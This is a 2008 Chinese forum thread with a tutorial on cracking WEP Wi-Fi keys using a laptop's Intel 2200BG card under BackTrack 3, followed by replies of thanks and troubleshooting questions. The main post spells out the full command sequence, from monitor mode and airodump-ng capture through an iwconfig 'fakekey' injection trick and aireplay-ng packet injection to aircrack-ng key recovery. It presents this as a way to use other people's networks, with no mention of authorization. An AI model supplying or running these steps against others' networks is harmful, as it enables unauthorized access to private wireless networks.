ubnt解决方案
查看: 170637|回复: 1907

[原创]Intel 2200bg注入式破解wep简明教程

[复制链接]

1194

回帖

7516

积分

78 小时

在线时间

中校

终身荣誉版主

注册时间
2007-10-20
金币
6124 个
威望
10 个
荣誉
4 个

尚未签到

发表于 2008-5-11 11:32

目前,80%的笔记本电脑内置了Intel 2200BG无线网卡,此卡性能稳定,功率大,信号好,性能稳定。但由于其在bt3下,不能直接支持注入式破解,多数人用此卡破解不成功,不得不购买所谓支持注入破解的网卡。

笔者研究了各种用Intel 2200BG破解wep的方法,近期终获突破性进展。终于实现”抱着笔记本即可走天下“的愿望,不敢独享,遂发帖,与各位兄弟共同学习之。 需要说明的是,由于目前已经被广泛使用的bt3正式版对2200网卡支持不彻底,建议兄弟们回到bt3的试用版进行破解尝试,此文是在bt3的正式版未出之前编写。<p>

1.装备: dell D410笔记本、内置Intel2200BG无线网卡,bt3中文u盘。

2.启动BT3,打开一个窗口,输入ifconfig a 查看网卡 (顺便记下自己网卡的端口名,一般为eth1

3.输入airmon-ng start eth1



激活网卡的Monitor模式。

4.输入抓包命令,抓包并查看你要破解的apmac和与之相连的客户端mac。(见图)








下面是相关简明教程:

 

笔者研究了各种用Intel 2200BG破解wep的方法,近期终于活动突破性进展。不敢独享,遂发帖,和各位兄弟共同学习之。

1.装备: dell D410笔记本、内置Intel2200BG无线网卡,bt3中文u盘。




2.启动BT3,打开一个窗口,输入ifconfig a 查看网卡(顺便记下自己网卡的端口名,一般为eth1








3.
输入airmon-ng start eth1 激活网卡的Monitor模式









4.
输入抓包命令,抓包并查看你要破解的apmac和与之相连的客户端mac









输入命令





airodump-ng --ivs -w name –c 6 eth1




其中, -w 后面跟的name 是名字的意思,这么名字是你随便取的,我一般偷懒,直接用,-c 后面跟的6是ap的工作频道,假如你要破解的ap工作频道是2,你就换成2,eth1是你破解用的网卡接口名(下同),这样,你的窗口将显示一个工作站,可以看到你要破解的apessid mac 和与之相连接的客户端的mac




5.上面窗口不关闭,另开一个窗口,输入命令




modprobe ipw2200 rtap_iface=1 回车




再输入




iwconfig eth1 ap 其中,ap后面跟你要破解的apmac,值得注意的是,这个mac必须输入中间的“:”。(如图)




回车后,输入




iwconfig eth1 key s:fakekey 回车,如果输入准确无误,你已经成功的为2200打上了注入补丁,后面就可以用常规方式进行注入、破解了。

6.输aireplay-ng -3 -b apmac - h 客户端网卡的mac eth1 进行注入。 快的一分钟,慢的5分钟,即可成功注入。



到数据增加到1万以上时,另开窗口,启动




aircrack-ng -n 64 name-01.ivs 进行破解。




其中,name 是名字的意思,这么名字是你随便取的,我一般偷懒,直接用1,得到的ivs文件就是1-01.ivs 、1-02.ivs …… 用2,则为2-01.ivs 、2-02.ivs …… 依此类推。 你最好输入ls命令,看一下,你的内存里有几个这样的文件,一般以序号靠后的为准。 最懒最安全的办法是,直接用*.ivs,所有的ivs文件一网打尽。



64 代表
64位密码,如果是128位,换成128,依此类推,即可实现破解。

[此贴子已经被作者于2008-6-18 3:07:42编辑过]

[ 本帖最后由 liyg 于 2008-10-16 11:40 编辑 ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册 微信登录

x

94

回帖

820

积分

25 小时

在线时间

中尉

注册时间
2008-4-7
金币
718 个
威望
-2 个
荣誉
0 个

尚未签到

发表于 2008-5-15 08:53
多谢指教,回家实施
QUOTE:
以下是引用liyg在2008-5-14 23:07:17的发言:
QUOTE:
以下是引用DDZ在2008-5-14 21:07:09的发言:
请问liyg大虾:iwconfig eth1 key s:fakekey这个命令中的补丁是已经集成在系统中了,还是需要下载?

已经集成在系统里了,你只要输入命令即可

[em01][em01][em07]

8

回帖

49

积分

0 小时

在线时间

新兵上阵

注册时间
2008-4-25
金币
41 个
威望
0 个
荣誉
0 个

尚未签到

发表于 2008-5-15 10:16
太好了,有新东西学了

12

回帖

90

积分

0 小时

在线时间

上等兵

注册时间
2008-5-6
金币
78 个
威望
0 个
荣誉
0 个

尚未签到

发表于 2008-5-16 16:47

5.上面窗口不关闭,另开一个窗口,输入命令
modprobe ipw2200 rtap_iface=1回车
再注入
iwconfig eth1 ap <AP MAC>

其中,ap后面跟你要破解的ap的mac,值得注意的是,这个mac必须输入中间的“:”。(如图)
回车后,输入
iwconfig eth1 key s:fakekey
回车,如果输入准确无误,你已经成功的为2200打上了注入补丁,后面就可以用常规方式进行注入、破解了。
转自中国无线门户,原文地址:http://forum.anywlan.com/dispbbs.asp?boardID=15&ID=9459&page=1

以上步骤我不成功阿,怎么弄不清楚

34

回帖

242

积分

20 小时

在线时间

少尉

注册时间
2008-4-22
金币
204 个
威望
0 个
荣誉
0 个

尚未签到

发表于 2008-5-11 11:40
第一个回复,支持,感谢分享!!

79

回帖

419

积分

33 小时

在线时间

少尉

注册时间
2008-4-18
金币
333 个
威望
0 个
荣誉
0 个

尚未签到

发表于 2008-5-11 11:48

全力把此贴顶上!liyg兄辛苦了!

确实很多笔记本使用2200的网卡。

生命在于探索!

94

回帖

1007

积分

0 小时

在线时间

上尉

注册时间
2008-4-18
金币
875 个
威望
0 个
荣誉
0 个

尚未签到

发表于 2008-5-11 11:52

牛啊!请问!这个种驱动补丁哪里下载?

1194

回帖

7516

积分

78 小时

在线时间

中校

终身荣誉版主

注册时间
2007-10-20
金币
6124 个
威望
10 个
荣誉
4 个

尚未签到

发表于 2008-5-11 12:02
QUOTE:
以下是引用wbmzfbq在2008-5-11 11:52:30的发言:

牛啊!请问!这个种驱动补丁哪里下载?

不用下载,输入三条命令即可

19

回帖

117

积分

25 小时

在线时间

上等兵

注册时间
2008-1-31
金币
94 个
威望
0 个
荣誉
0 个

尚未签到

发表于 2008-5-11 12:04
顶了~谢谢LZ[em02][em02][em02]

256

回帖

2607

积分

195 小时

在线时间

少校

注册时间
2007-6-2
金币
2253 个
威望
12 个
荣誉
0 个

尚未签到

发表于 2008-5-11 13:02
很好!!!!!!!!!!加油

18

回帖

105

积分

2 小时

在线时间

上等兵

注册时间
2008-5-4
金币
87 个
威望
0 个
荣誉
0 个

尚未签到

发表于 2008-5-11 14:01
学习中啊!!!!!!!!!!!1

261

回帖

1155

积分

85 小时

在线时间

上尉

注册时间
2007-12-13
金币
823 个
威望
10 个
荣誉
0 个

尚未签到

发表于 2008-5-11 14:24

太感谢了,我的3945网卡应该也可以试试。

在VM下BT3,可否使用3945网卡进行破解呢?

Archiver | 手机版 | 无线门户 ( 粤ICP备11076993号|粤公网安备44010602008359号 ) |网站地图

GMT+8, 2025-9-23 08:12

返回顶部 返回列表